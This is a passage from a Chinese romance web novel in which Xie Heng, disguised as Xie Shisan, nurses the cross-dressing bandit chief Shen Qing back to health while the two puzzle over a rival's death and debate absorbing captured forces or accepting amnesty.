如此反复三次四后,原本紧抿干涩的唇终于因为得到浸润而微微放松一些。 “只是要熬过一夜,这点小事,你总不至于办不到。” “反正你什么人也不怕得罪,怎么这次还怕得罪阎王爷吗?” 谢珩声音轻轻的,语气像在嘲讽,手上动作却颇有耐心。 他始终都只将木勺浸湿,再到沈青的唇间浸润,反反复复,好几次的重复的积累,才勉强有一滴真正进了口中。 更深夜寒,每隔小半柱香的时间,药碗需重新放到炉子上温一温。 直到窗外天色渐明,药碗才终于见底。 沈青的脸色,虽然还是煞白得吓人,但也可见地,不再是那种一脸死气的灰败。 谢珩撂下手中药碗,他就知道,这么鲜活生动的人,哪能轻易就这么死了。 房间里岳瑛不知道何时不见了人影,天色很快大亮起来,谢珩撑手半支着下巴,静静守着沈青的动静。 他不卷被子乱扒拉的时候,原来睡得这么安静。 沈青紧闭着眼,躺在被窝里一动也不动,所有的一切都是空白,空白了很久很久,她好像有了神识。 竟然不冷? 她怎么总记得应该是要很冷的,那种刺骨的冷,现在完全没有了,难道冷过头以后,身体反而会觉得温暖? 但是她也不知道自己现在在哪,整个人好像被封在一个黑漆漆的盒子里,上下左右,哪也出不去。 什么鬼?谁埋了她? 她低头去看,也是黑黢黢一片,什么也看不到,看不到自己身子,也看不到四肢。 可是她又能感受到身体在不断蔓延,不断蔓延着,最后与这个封印她的黑盒子融为了一体,然后她重新长出了四肢和五官。 她不太适应地动了动手指,想起好像应该先睁开眼睛才对。 不过一切暂时还不怎么听使唤,好歹她也算个打架能手吧,从未有过这样的经历,掀个眼皮怎么比掀起一块千斤重的石板还难? 她只好咬着牙攥着手,终于一点一点慢慢撑开双眼来,外面明光让她好不容易睁开的眼又眯了会儿,视线才渐渐清晰。 入目是一张撑在榻边浅寐的睡颜,笔挺清贵,容姿映人,看得她从眼到心,都觉得格外舒服。 只是这美人儿脸色白得颇有些不正常了,绝色眉眼下,映着一点淡淡乌青,唇畔居然还冒出了一点青胡茬,实在憔悴,那矜贵清雅中多了一些楚楚可怜的风致。 真是让人想往他脸上摸一把。 至此,昏迷前发生的事情在脑海中纷至沓来,眼前这张疲惫浅寐的脸慢慢跟昏迷前她看到的那张惊慌失措的脸重叠在一起。 “谢十三,你对我也太情根深种了,竟然为我殉情。” 她声音哑哑艰难地把一句话说完整了,眼神中也流露出感动,真没想到谢十三竟然对自己情根深种到这般地步!可惜还没来得及生个孩子,两个人就这样共赴黄泉了。 谢珩被她这一声低唤猛然惊醒,对上一双正乌溜溜看着他的眼睛,他面色凝滞住,竟有些不敢出声去打扰到眼下自己所看到的一切。 直到沈青疑惑地向他眨巴了两下眼睛,他才反应过来,俯下身来轻声道:“放心,你没有死。” 沈青的脖子没有力气动,她只好继续转动眼珠打量了一下目前的可见范围:“我这是……在小金顶?” “嗯,在小金顶,在你自己的房间。” 得到肯定的回答后,沈青又急着问:“那赖三呢?也没死吧?” “放心,也好好的,他身体底子比你厚实,昨天晚上就已经清醒过来了,只是也还不能下榻。” 沈青安心下来,长长舒了口气,沉默了一会儿,似乎又想起一个很严重的事情,急得她身子忽然一动,抽动全身的伤口,疼得她眉头直皱。 一醒来就控制不住自己乱扑腾,谢珩又蹙眉又欣慰,轻声带上些呵斥的语气:“你现在还不能动,你想做什么,跟我说便是了。” 沈青深深缓了口气:“我是在想啊,谢珩机关算尽布置了那么多,眼下这大好时机,他竟然没有来趁火打劫!?” 谢珩嘴角抽了抽:“……没有。” 这真是让沈青百思不得其解了:“奇怪啊,现在这大好时机他不动手,难道还有其他图谋吗?” 谢珩默默错开话头:“你刚醒来,多静卧,少思虑。” 沈青撇了撇嘴,说来也是,她又不是谢珩肚子里的蛔虫,管他想什么呢,反正兵来将挡水来土掩嘛。 她目光又重新落在谢十三身上:“我躺得一身都酸,你扶我起来坐会儿嘛。” “不行,郎中说了……”谢珩断然拒绝,到底还是架不住那样可怜祈求的眼神,只好叹了一声:“你别乱动,我扶你坐一会,不舒服了告诉我。” 沈青欢快地想点点头,结果发现自己现在竟然连点头的动作都没力气,只好眼巴巴等着人将她扶了起来。 谢珩自然没敢让她靠在床栏上免得磕着她,干脆就用手臂撑着,让她靠在自己臂弯里。 “怎么样?”他低头询问。 沈青歪着身子,一头就钻进了他怀中。 谢珩浑身霍然一僵。 第30章 第30章想试探着,回抱住她 真是奇怪。 两人明明已经同榻而眠了那么多次,比这更加密切的肢体接触也有过不少,可从未有过像现在这样的感受。 谢珩真切感受着蜷在自己胸口的人好像轻瘦了不少,这会儿像一只乖顺的猫。 他抬手想碰一碰沈青的松软发顶,伸到半空又有些无处下手,他喉结无声地动了动,想喝点茶水来缓解些许。 大概是从前的每次接触,两个人都是剑拔弩张的,他从身到心都是排斥,而这次他受了重伤这么虚弱,所以他才不敢乱动。 恻隐之心是人之常情。 总算是给了自己一个说法,他刚松下一口气,就听见怀里的人,瓮声瓮气来了一句:“谢谢你啊,多谢你救了我一命。” 他好不容易回笼的理智,豁然一下又被撕开。 如果不是他的计划中,这次一定要除掉徐唐,那他的手下或许也不会擅自行动提前动手,沈青也不会在这鬼门关走一遭。 归根结底,是他险些让他丧了命,他却反过来谢他…… 埋头窝在谢珩怀里的沈青,根本不知道他脑海里的思绪万千,只觉得这个怀抱温暖厚实,他身上的浅淡皂香是她爱闻的,在鬼门关里走了一遭,这人是她死前生后,最后一眼和第一眼见到的人,她觉得很满足。 直到这时候,她才真正有了一种死里逃生的后怕,不自觉地,就是在救命恩人怀里,才能有些许的安全可靠。 唯一的美中不足,就是这人心跳也太快了,简直跟打鼓一样,她耳朵贴着他胸口,都要被吵聋了! 于是她颇不耐烦地用额角蹭了蹭他,可惜整个人无力极了,以谢珩的感受,就像胸口被一枝芦苇轻轻拂过一下。 他终于忍不住,伸手从她脑后绕过,揽上她的肩背,一点一点,想试探着,回抱住她。 怀里的人没有反应。 他吓得连忙去探她的鼻息,好在她呼吸还算绵长均匀,再看她偏着脸,纤长睫毛轻轻覆下,睡得正香。 谢珩推断,应该是他身子太虚弱了,刚醒来说这么几句话已是极限,这才累得睡了过去。 他小心翼翼重新将她放回枕上,看着那张虚弱睡颜,他反而松了口气,目光看向自己刚才揽住人后背的手掌,不由得生起一丝茫然,刚刚他怎么会有这样的动作呢? 同样陷入茫然的,还有匆匆带着郎中过来,在门口正好看到这一幕的岳瑛。 昨天一日之内实在发生了太多事情,等岳瑛缓过神来,终于意识到沈青受伤后,谢十三的言行举止意味着什么了。 关键是,昨天浑浑噩噩的状态中,她出了一个严重的疏漏。 她将沈青放在房中,外衣褪尽,鬓发未梳,却让谢十三进了房间,等她想起的时候,大半宿过去,谢十三肯定要识破沈青的女儿身了! 果然等她赶了过来,看到的就是谢十三眼含不舍地将沈青从怀中放到枕上的画面。 她领着郎中进来,默默留心谢珩的神色,却实在看不出什么波澜,谢珩只是淡然起身,跟郎中说明了一下沈青方才的情况,让了位置给郎中把脉。 郎中仔细把了脉,没有当着谢珩的面检查她的伤口,先转头写了药方:“老大这次虽然算是从鬼门关出来了,但命也差不多去了九成,只剩这一成的元气吊着,所以说上几句话就累得睡过去。损耗实在太大了,我先就着这方子去煎药,只能一成一成把耗掉的元气补回来。” 郎中写好方子,正要去煎药,忽然被谢珩喊住:“郎中,昨夜你煎的这碗药里,有好几味药材甚为滋阴,向来很少有男子服食,不知这是何故?” 那郎中到底也是寨里的老江湖了,他打了个哈哈笑了起来:“原来公子也颇通医理啊,不过这为医之道,只讲究阴阳,不讲究男女。我们老大虽然身为男子,但属于男子中少见的阴性体质,所以用药的时候我也斟酌了一下,用了几味滋阴的药材更为合适。” 这个解释倒还合理,毕竟谢珩在沈青的醉话里也知道了他身体上不为人知的隐疾,确实就说得通了。 他歉然一笑:“是我才疏学浅,班门弄斧了。” “哪里,哪里。”郎中干笑着应付了两声,赶紧拿着方子走人。 谢珩重新在榻边坐下,望着熟睡过去的容颜,他心中对沈青又多生出一分恻隐。 身为男子,原来他这般隐痛,竟然是天生的。 只不过他毫无察觉,当他对沈青充满同情的时候,岳瑛在他身后看他的目光,也染上了一层同情。 他竟然真的一点也没看出来? 岳瑛默默看了一眼正安睡着的沈青,乌发松散垂在枕上,只有头顶留了一个小髻,容颜清绝楚楚,虽无胭脂水粉妆点,也完全可以看出是一个世间难得一见的美人了。 完了,谢十三已经彻底先入为主了,估计沈青就算穿了一身女子的衣裙装扮,他也只会觉得她是在男扮女装。 岳瑛无声地摇了摇头,本来觉得沈青不通人事也没关系,毕竟谢十三心思细腻,现在看来……这两个没一个开窍的。 他们的孩子……慢慢等着投胎吧。 又休养了两日,沈青醒来的时候终于开始慢慢变多,只不过还不太能动,也不能自己翻身。加上她醒着的时候太爱说话,并不算恢复得多快。 不知不觉间,岳瑛和谢珩倒是形成了某种默契。 上药,梳洗,更衣,这些贴身的事情都是岳瑛支开所有人来做。 谢珩呢,就陪她说话解闷,给她喂药,一般这些时候,岳瑛通常也不见了人影。 不过沈青虽然醒了过来,但这药也没有特别好喂,她实在太虚弱,连吞咽的力气都要攒出来,只靠喝些羹汤药水吊着,人还是一天比一天瘦。 有时候谢珩将药勺放在她唇边,她凑过来慢吞吞将药一点点喝下去,有时候因为太苦还要皱着眉头吐半天舌头,哪里还有一点“坐地一只虎”的威风? 倒是像刚学会自己进食的小猫差不多。 沈青虽然虚着不能动,每日心情倒是很不错,要不是没有力气,那些个苦哈哈的药,她都可以当酒一口闷掉。 谢珩看她整日里眉眼带笑,自然欣慰,但是喝个药都要笑,终于忍不住提醒:“不要笑了,等会你又没力气喝药。” 真是没见过这样的人,宁可没力气喝药,也要花力气先笑。 沈青确实没什么力气了,她半搭在谢珩手臂上:“我就是越来越感慨,我这个伤受得还挺值当的。要不是受了这么重的伤,我还真不知道你竟然对我情根深种到这个地步了!原来危险的时候,你会舍命跳入水中救我,还会这样衣不解带悉心照顾我。” 谢珩被她这一大段叽叽呱呱的话说得脸色越来越沉,最后终于正色纠正她:“这件事情跟风月情爱无关,你我相识一场,面对自己相识之人身险陷阱,怎么可能袖手旁观?这是君子最基本的恻隐之心罢了。至于照顾你……毕竟你受伤多少也与我族兄有些关系,算是替我族兄周旋,他日你们兵戎相见,也好留一线。” 这几日来,谢珩不是没有察觉到自己的失控,他也一次一次纠结过,也一遍一遍审问过自己,这便是他最后得出来的答案。 沈青听着他突然这一大段的说辞,微微讶异张了张嘴 :“我听说,心虚的人就会话多?” 谢珩微微一哽,她可真会抓重点。 结果又听见她说:“……行吧,不管怎么样,这次你和岳瑛都辛苦了。” “岳瑛”两个字一出,谢珩彻底不说话了。 说完没人理她,沈青偏头一看,完了,这人脸色更沉了,手上也明显没了什么耐心,那么一大勺的药就往她嘴里灌,也不管她有没有力气一口咽下去,第二勺马上又送了过来。 “等等……等一下……” 她匀着气儿好不容易挤出几个字,这人根本没有在听,一勺黑黢黢的药汁又强势地递到嘴边,恨不得要把她呛死。 这不就是虎落平阳被犬欺吗!? 要换平时,她非把这药碗掀了不可,只可惜她现在动也不了,喊也喊不出,只能一脸怨愤地眼睁睁看着自己被迫迅速咽下一勺一勺的药汁,等药碗见底,她也觉得自己差不多累得可以继续昏迷了。 谢十三的脸色倒是好了不少,修长白皙的手指捧着药碗,动作娴雅地搁置案台上:“累了就歇息吧。” 沈青满肚子都是千句万句想破口大骂的话,不过她实在脱力,含糊“嗯”了一声,两眼一闭,马上睡得人事不省。 虽然她似是一如既往鲜活闹腾,实际上身体恢复得并不快,那些被猛然抽走的生命力,在用极缓的速度,一丝一丝填回身体中。 所以沉睡的时间,远比醒着的时间多出许多。 以至于萧瑞每天一瘸一拐来看沈青,从没撞上过她醒着的时候,直到他的腿都已经不大瘸了,才终于见到了“活着”的大哥。 这天沈青刚喝完药准备躺下,忽然见到熟悉的人,眼神明亮了一下:“萧瑞!真是……好久不见了啊。” “大哥……” 他抬眼打量了一下,沈青脸色依旧苍白不堪一副病态,略让人欣慰一点的是,唇上有了一点血色,眸子里也有了神采。 两人自然是有正事要说。 平时这种时候,沈青总是会让谢珩回避,这次谢珩静默地在一边等了会,没听见有让他回避的意思。 他不动声色拿了一只软枕放到沈青腰后,好支撑她坐久一些,沈青也就顺势歪着身子倚在软枕上。 “你就在旁边陪着我吧。” “好。” 30-40 第31章 第31章他哪来那么大自信呢? “大哥……”萧瑞又仔仔细细将活生生的沈青看了一遍,才垂下眸子,少年像犯了大错,瓮声开口:“都是因为我出了纰漏,才让你受这么重的伤,大哥你责罚我吧。” “你说说,出了什么纰漏?” 沈青整个身子都歪倒在软枕上,声音里也明显透着软款无力,即便这样,也不影响她说起正事来,不怒自威的压迫感。 萧瑞更加惭愧:“如果不是赖三为了护我撤离而留下垫后,你也不至于为了救赖三,险些命都没了。” 一想到当日在断崖下见到濒死的大哥,他到如今都会因后怕而阵阵脊背发凉。 沈青觉得他思虑愧疚的地方不对:“你当时是因为寡不敌众,为了保全大部分兄弟,而不得不舍了赖三垫后,作为他们的头儿,就该有这样的取舍,你做得很对。但是赖三是我的兄弟,我不能眼见他身处险境而见死不救,无论成与不成,我都必须要去跟他同生共死,所以这个事儿……” 隔着鼓鼓囊囊的被窝,谢珩也看得出她里头这二郎腿翘得多高。 以前他只对这副吊儿郎当模样充满鄙夷和不屑,一日日相处下来,他反而时不时为当初的轻敌生出后怕来。 “所以……”沈青一手托腮,不禁沉思:“我们纰漏出在哪里呢?” 按她的预想,虽然杀孟渊的时候是会要受些伤,但她肯定也是荡平了凤眼山,然后威风凛凛地回到小金顶,绝不是半死不活地回来,并且现在还下不了榻。 想来就气。 对于当时的变故,萧瑞也很疑惑:“我和赖三刚跟徐唐的人碰上,连招呼都不让人打,上来就是好一顿下死手,还追着我杀了老远。跟徐唐打了这么多年交道,哪次见他这么有魄力过?难道是觉得我们一定会杀他,殊死一搏?那也不至于话都不让人说吧?” 沈青有些头疼:“那你后面怎么不留个活口问问,直接杀了他干嘛?” 萧瑞眼珠子都瞪出来:“我没杀他啊,他不是你杀的吗?” 沈青下巴都掉下来:“我哪里杀他了,他不是你杀的?” 她昏昏醒醒这么几天,完全没人跟她说起当时的情况啊! 两人面面相觑一瞬,萧瑞立刻回顾道:“我赶到的时候,徐唐就已经死了啊,跟在他身边的那批手下都被杀了个干净,我当时还以为你现在武功已经厉害到可以以一当百了呢。” “我当时……”沈青顿了一下,觉得被徐唐逼得跳崖实在难以启齿,于是重新斟酌了说辞:“当时主要是赖三受伤了,我好汉不吃眼前亏,得保存实力,想着下面是水,跳下去也没什么的,结果赖三太重了,害得我老半天没上来。” 含糊解释完,她马上抓回重点:“那徐唐是谁杀的?” 空气里安静了一瞬,两人目光齐齐落在谢十三身上。 他可是比萧瑞到得更早的人。 感受到落在自己身上的目光,谢珩还算坦然:“我赶到的时候,徐唐还没有死,只不过我后来下了断崖,上面再发生了什么,我也不知道了。” 沈青突然从中找出一丝破绽:“不是,徐唐不仅没有为难你,还能让你下来找我?” 谢珩平静反问:“我直接跳下来的,他怎么为难我?” 沈青“呼”地一下从软枕上坐直,眼前一阵阵发黑眩晕,好在被谢珩眼疾手快地抓住,她缓了好一会儿,视线里那张透着关切的俊脸才渐渐清晰。 “想到什么了?” 萧瑞也一脸焦急凑上来:“有什么线索吗?” 沈青冲谢十三“嘿嘿”一笑:“你还不承认,你就是在殉情!” 谢珩无语,手不轻不重地一松,让她重新跌回软枕。 萧瑞也跟在旁边凑热闹:“确实,要不是谢十三,可能今天就是大哥的头七了。” 听到“头七”二字,谢珩不由得出言打断:“说正事。” “好好好,说正事说正事,”沈青嘴上占了便宜见好就收:“那现在可以确定,徐唐是在谢十三跳崖之后,萧瑞赶到之前,这中间被杀的。什么人要置他于死地呢?冲他来还是冲我来的?” “我知道了,我再去当日现场勘察一下,然后去把徐唐手下还活着的重要人物都细审一遍。” 原来徐唐之死这么超乎意料,许多被忽略的地方重新又在脑海里拼凑起来,萧瑞有了新的方向,马上着手去查探。 不到日暮,窗外不知何时又下起了纷飞大雪,萧瑞踩着暮雪重新进了屋子。 可幸,这次撞到的沈青还是醒着的,正缩在被窝里露着小脑袋,凑在谢珩捧着的碗边喝药。 见萧瑞过来,她如释重负将药碗推开:“查出什么了吗?” 萧瑞拉了张椅子给自己坐下:“我还真查出怎么回事了!我跟徐唐手下几个心腹细细对过了,他们当时也不知道自己这边怎么就突然动手了,等反应过来的时候,我们两边人马已经打得你死我活了!我令他们去仔细盘查一番,基本可以确定就是谢珩派了人混在徐唐手下,故意挑起纷争!” 沈青靠在枕上慢慢思索:“所以谢珩看穿了我当日并不想动徐唐的心思,从中挑拨,逼死徐唐,最后坐收渔利。” 她就知道,谢珩那一肚子坏水,肯定不会让她按计划行事的! 萧瑞笃定点了点头:“对,还有断崖边也是谢珩的人动的手。我专门去验了尸,除了徐唐是被人用一种很细软的武器勒颈而亡,其他人都是死在官制的长刀下。” “细软的武器?” 沈青想了一下,印象中没有跟这号人物打过交道,不过谢珩这样的人,手底下有几个高手也不足为奇。 另一个问题让她更加疑惑:“孟渊死了,他们又杀了徐唐,怎么没有顺手把我也杀了呢?多好的机会啊 。” 谢珩感受到手中的药碗渐渐变凉,估计他也不会再喝,于是将药碗轻搁在案上。 沈青还在一边继续疑惑:“难道他们不知道我跳下去了?还是说以为我就直接摔死了不用管?但是不管怎么样,我现在这么半死不活躺在小金顶的事,谢珩应该也听说了吧,这时候怎么也得动手了啊。” 萧瑞也很百思不得其解:“我这些天一直让人盯着刺史府呢,那谢珩也真是沉得住气,一点动静都没有。” 两人又是一阵面面相觑,倒是一旁一直默不作声的谢珩开了口:“既然猜不透,那就先以不变应万变吧。你们眼下,还有不少事情。” 诶,该来的总是要来,打架一时威风了,这烂摊子真不好收拾,沈青强打起精神:“萧瑞,你怎么善的后?” “孟渊和徐唐,两座山头手下清点完,加起来也有万众,金银财物左思禄那边也理出了账本。对于那些人,他们不想留下的,我都打发了一笔钱让他们走人,想留下的,暂时也让他们留着。” 沈青托腮点头认同:“反正打发出去的也都是孟渊和徐唐的银子,这银子该花就得花,不必要多惹怨气。至于愿意留下的,都是些无处可去的人,对我们莽山更容易起依附之心。” “但是,”萧瑞露出一脸愁苦:“现在留下来的人也有个七八千,都赶上我们莽山所有山头加起来的人数了,咱们暂时也没这么多地儿来容纳他们。原先是覆船山的,依然让他们待在覆船山,原先是凤眼山的,现在还在凤眼山。怕他们自成气候重新造次,我得在两个山头派不少兄弟去驻守,咱们刚经历完大战,人都又派了出去,莽山都快成空山了,这擒贼先擒王的道理,咱们懂,谢珩肯定也懂。” 沈青听得“嗷呜”一声躺了回去,说起来,这几年来她虽然灭过不少寨子,不过那时候都只是莽山的其他山头,她只不过是做到了将整个莽山统一起来。 现在她灭掉的,完全是另外两座峰脉,是联合起来完全可以与莽山抗衡的两座大寨。 杀两个匪寨老大真不难,难的是善后,是将两座山寨的力量融合起来壮大自己力量,还是被那两个山寨力量反噬,便很难说了。 她本来就很讨厌面对这些棘手的东西,尤其是现在身子弱,脑子一想,就觉得疼。 果然,这个时候还是谢珩清清款款的声音尤为动听:“与其分出自己的力量去严加管守,不如放手让你们三方势力彻底融合。” 萧瑞顿时虔诚得像看到了救星:“愿闻其详。” “方才你们也说了,给银子都不愿意离开的那批人,本就是无处可去之人,对他们来说,老大是孟渊还是徐唐,或者沈青,其实都没太大区别,只要有容身之处便行。” “只不过到底是三方势力,人多口杂,实在叵测,眼下你们将三方势力分开,互相防备,其实也是在互相消耗,时日久了,终成大乱。” “倒是可以将三方势力混合打散,让底下兄弟们自己去融合,只要保证每个山头的头儿是莽山自己人便行。分不如合,合不如融。” 听着谢珩的分析和结论,萧瑞一双眉头渐渐拧紧:“这法子可行是可行,但这个过程难免有一段混乱,倒是给了些珩不少可乘之机,他完全可以趁这时候,把自己手下混进来,就像当初在徐唐那里的手段一样。” 谢珩还是像当初建议让沈青对孟渊和徐唐主动出击逐个击破那般反问道:“还有更好的办法吗?” 沈青已经懒得再多思考一分,拽起被子往脸上一盖,声音闷闷传出来:“就按谢十三说的办。” 这个法子太容易让谢珩有机可乘了,但确实也是目前对莽山来说,最周全的法子了。 反正谢十三是谢珩身边历练过的人,攻取孟渊和徐唐他给的建议就很好,这人脑子比莽山上大部分人都好用,他想不出的万全之策,莽山上其他人也想不出来了。 不过……沈青忽然又从被子里钻出靠着软枕坐起来。 “我知道了!我这会总算明白谢珩打的什么算盘了!” 谢珩侧目看她:“什么算盘?” “他是想让我们几个大寨互相残杀然后坐收渔利不错,但他最后坐收渔利,是想等我把孟渊和徐唐的手下彻底收服融合为一体,把烂摊子收拾完后,他再来舒舒服服接手!” 沈青洋洋洒洒抖出谢珩的阴谋,还不忘啧啧感叹:“谢珩这会儿要是在我面前,也会为我们这这高山流水遇知音的情意落泪涕零。” 谢珩垂眸没有答话,的确字字戳破心事,唯一的偏差是,他可不会落泪。 但沈青还是由衷地感到奇怪:“但是他哪来这么大的自信呢?” 第32章 第32章果然人都是贪心的 “谢珩跟我对峙那么几个月,也没能拿我怎么样,最后也只能搞这些阴谋诡计来对付我。我就纳罕了,他不趁现在动手,非要等到我收服了渝州所有匪寨势力,那我可是如虎添翼了,他还能碰到我一根手指头?” 沈青掰着自己手指分析得头头是道,谢珩看她掰扯自己那几根手指动作实在灵活,便上前握着她双手塞进被窝:“说话就说话,别着凉了。” 沈青手指在被窝里不安分地动了动,想到人家如此体贴,便也没再拿出来。 谢珩这才回应道:“你刚才也说了,经过这一次,渝州所有匪寨势力几乎都在你的手上,几座山头,几万人众。到了这个地步,难道你就没想过,即使没有谢珩,也会有别人,朝廷不可能容得下你了。” 这话说得自然不错,沈青肩膀耷拉下来:“诶呀,我也跟你说句掏心窝子的话吧,我压根也没想过最后把局面变成这样。” “我爹爹在的时候,我们在莽山也不过是个偏安一隅的小寨子,后来我爹爹突然离世,这下好了,我一个半大的毛头小伙接手了山寨,谁不想来踩一脚啊。然后官府兴师动众上来剿匪,被我杀了个片甲不留;莽山其他山头出手来吞并我,反而被我一一都吞并了,哈哈,然后我就有了个坐地一只虎的美名。” 说到这里,她还是忍不住乐得仰头大笑了两声,自然没看到谢珩紧蹙的眉头,她居然觉得坐地一只虎是个美名? 沈青又继续道:“你看这次也是,我跟那谢珩,八竿子都打不着不认识的关系,他千里迢迢非要过来招惹我,想了一堆乱七八糟诡计,你也看到了,我可是被赶鸭子上架啊,被他逼得一不小心就又吞了两个大山头。” 她正痛心疾首总结着自己这一路走来的人生,忽然一下豁然开朗,直接顿悟:“说来说去,我算是明白了,我就是能力太强了!在一堆废物里,我的能力不允许只安安分分当一个小寨主。” 谢珩唇角抽搐了一下,半天才敷衍了两字:“……行吧。” 沈青洋洋得意着,还不忘生出几分危机感:“不过趁我收拾烂摊子的时候,谢珩肯定会在背后憋什么坏招,但是这烂摊子已经被塞我手上了,我也只能硬着头皮先收拾了。” “这个该死的谢珩,我明明知道我现在每走的一步都是他的计划,但我还真就只能按他的计划来行事!哼,拿我当棋子,别怪我到时候棋盘都给他掀了!” 谢珩无声地用指尖摩挲了几下自己的衣角,就知道说这么多,最后落脚点肯定是骂他。 “既然眼下局面并不是你的初衷,那有些决定,你可以重新再考虑了。朝廷绝不能再容你,但并不代表你只有死路一条。” 沈青挑了挑眉,一脸认真:“你是说我们可以揭竿而起直接起义?” 谢珩一口血几乎没吐出来:“我是说招安。” 见他这次没有直接跳起来反驳,反而难得地沉默起来,谢珩趁势又说了几句:“你一直不肯接受招安,是因为你以前还有得选。眼下你除了跟朝廷拼个你死我活……长远来看,大概率是你死,那就只剩招安这条路 了。你手下的万众兄弟,并不是罪无可赦之人,你慎重考虑清楚吧。” 沈青忽然看向一边的萧瑞:“萧瑞,你想怎么选?” “啊!?”正听得认真的萧瑞没想到这么重大的决定还有他的事,他磕巴了好一会儿:“我都听大哥的。” 诶,好一个聊胜于无的回答。 沈青身子重新缓缓软倒下去,眼睛都懒得再睁:“随便吧,反正我这个人,就是走一步看一步。” 不管是起义还是招安,两个都是差劲的选择,她干嘛要选。 谢珩看着他紧合的双眸,长睫覆下,动都不动一下,便知他已经熟睡了过去,他也俯身过去,轻轻替他将颈边的被窝掖好。 她向来被动,那有些决定,就由他来做吧。 * 今夜又是一个大雪夜,静谧的夜里,只有纷纷雪落的簌簌声。 沈青的屋中还透着一点昏光,榻上的人只露着小半张脸,睡得沉而安稳。 寂寂灯光将坐在案前的未眠人清疏身影照映在窗扇上,戚戚冷冷。 谢珩在灯下摊开手掌,掌心里是一枚新鲜翠绿的菩提叶,而整个小金顶上,没有菩提树。 这是他在小金顶瀑布边的草亭里拾到的,说明他的人已经成功上了小金顶。 这些天他让人趁乱潜入莽山腹地,借着瀑布走势搭建的一条直通小金顶的暗索。 他的人,能通过这条暗索,从崖底直达小金顶。 这枚菩提叶就是信号,只要他一声令下,随时可以行动。 许久之后,他终于将这枚菩提叶收入袖中,将目光落在榻上的睡颜上。 那张睡颜,还是透着虚弱的苍白。 尤其是白天议了那么久的事,对他来说已是极限,他合眼沉睡到现在,别说没有醒来的迹象,连身都没有翻一下。 这副身子,虽然他不会真正伤他,却总也不忍他这样去承受兵戎之苦,纷争之激。 还有一些时日……至少要等他能站起身来,最好能拿得动兵器的时候。 谢珩很快就做出这样一个决定。 只是,他她身子完全好了后呢?当一切真相在他面前揭露,他会怎样对自己破口大骂? 如果仅仅是破口大骂,那其实也还好…… 他没有细想下去,烛光跳跃,映照在他清冷绝俗的眉眼间,他望向榻上的目光被镀上一层缱绻柔和。 明明最开始的时候,他所求的,就是他能活下来,仅此而已。 果然人都是贪心的,求得一点,就还想要再多一点,再多一点。 一夜烛火渐渐微弱,熄灭,屋外天光又重新明亮起来。 这般日复一日。 沈青的身子终于可以勉强下地走动了,可惜天公不作美,连日大雪压山,别说出门,只是在房中,她双脚刚刚沾地,那地底的寒凉从脚心直往身体里钻。 这身体让她觉得陌生极了。 如果要成为这样一个病秧子,人生还有什么快乐啊! 谢珩自然感受得到她心绪的低落,于是当她开口说整日闷在房中不能出门,久不见山中翠竹的时候,也没多说什么,直接出门替她折竹去了。 沈青裹着被窝凑到窗边,望着风雪中渐行渐远的翩然背影,不由得生出一丝恍惚。 这还是她认识的那个谢十三吗?居然这么听话乖顺了? 可见受了这伤,有无数个坏处,却也还是有一点好处的。 正好岳瑛过来看她,她疑惑问来人:“你有没有觉得,谢十三好像喜欢上我了?” 岳瑛脸色并不太好看,听她这么问,也还是若有所思点了点头:“我觉得像。” 沈青不由得展颜:“我就说嘛,这世上怎么会有人不喜欢我的?这下我们应该算两情相悦了吧?生出来的孩子必定好看!我得好好琢磨琢磨,赶紧把生孩子这事解决了。” 刚要憧憬一下,马上又想到了眼前的困境:“就是这该死的谢珩,真是太耽误事,我还是得先解决了他,才能安心想生孩子的事。” 岳瑛脸色本来就不好看,沈青每多说一句,她脸色就更白一分,最后脸色虚白得也跟沈青差不多了。 沈青终于注意到她的异样:“你怎么了?” “阿青,”岳瑛咬了咬发白的唇,眼神中盛满担忧和不忍,最终还是开口道:“我跟你说一件事,你……得有个心理准备。” “嗯?” 沈青狐疑地看着她,实在想不出还能有什么糟糕的事。 “你记不记得,你落水的时候,正是葵水的最后一天。你在水中受了大寒,只怕以后每次来葵水,你都要承受比往日更剧烈更难捱的疼痛……” 沈青简直倒吸一口凉气,哪次来葵水她不是痛得生不如死?比生不如死更剧烈更难捱是什么意思? 一个月一次,一次有四五日,一年有十二次…… 她两手一摊:“你去给我拿把刀来,我可以自我了断的。” 岳瑛不敢直视她,反身将敞开的窗页合上,也将冷风和雪山都隔绝在窗外。 “不是,你说话就说话,关了窗户做什么……”沈青闷闷嘟囔。 岳瑛抬手将窗扇用木栓栓紧,缄默了一会,才斟酌说出接下来的话。 “还有就是生孩子的事,先得缓缓……郎中说,你这次彻底伤了身子本元,以后要孩子……恐怕有些困难。” “我……”沈青确定她刚刚说的话,艰难地把舌头捋直:“以后生不了孩子了?” “郎中没有把话说死,只是……总之就是得缓缓了。我跟你说这些,是让你不要总不把自己身子当回事,从今以后你要跟精细地呵护自己身子,把本元重新养回来,一切才有转机。以后我让你吃多少,你就要吃多少,让你穿多少,你就要穿多少……” “啊!!!” 沈青一句话也听不下去,只想发疯。 “我不想当病秧子啊!!!” 第33章 第33章贴在她身上的温热变得炽…… 谢珩实在是有些不理解,他只是出门折了一支竹枝的功夫,沈青整个人就彻底恹恹了下来。 尤其还是在岳瑛来过之后。 他将翠叶间还沾着冰雪的竹枝插入细口瓷瓶中,细长青翠,风雪不折,还算养目。正要把瓷瓶放到窗台上的时候,他才发觉窗户不知什么时候被关上了。 “别开,等会寒气进来了。” 他指尖刚碰上窗扇,身后一道瓮瓮哑哑的声音阻止了他。 真是奇了,不是最喜欢敞着窗看檐下冰花、苍山白雪吗? 他最终没有开窗,静默地在榻边坐了下来。 沈青目光盯着被放置在瓶中的翠竹,果然还是不比在枝头凌霜傲雪来得好看,竹枝后面是关实了的窗页,没有了苍山白雪作背景,也太黯然失色了。 她都不想再多看一眼。 只不过这是谢十三冒雪折来的,诶,那就再多看一眼吧,不能再多了。 谢十三……要是她以后不能生孩子了的话,谢十三还能有什么用呢?把他放回去算了? 说实话,还真有点不太想,毕竟这么个人放在身边,每天看着也养眼。 行吧,既然生孩子用不上他了,那就用他养眼好了。 可是沈家的香火就这么断了吗?那她岂不是要愧对沈家列祖列宗了? 不对!冤有头债有主! “该死的谢珩!” 沈青咬牙狠狠骂了一句。 谢珩被她吓了一跳,一眼就瞥到她眉眼间凛凛杀意,他在脑海中仔细盘算了一下这几日他好像没做什么吧,总不至于瀑布边的暗索被发现了? “他又怎么了?” “没怎么,就是该死!”沈青这次加重了语气,手中被角被她搓得皱巴巴的,仿佛这要是谢珩,她非要将人撕碎了。 谢珩心中蓦地一沉:“你就这么恨他?” 沈青真是莫名其妙:“难道我还要喜欢他不成?他是你族兄,又不是我族兄。” 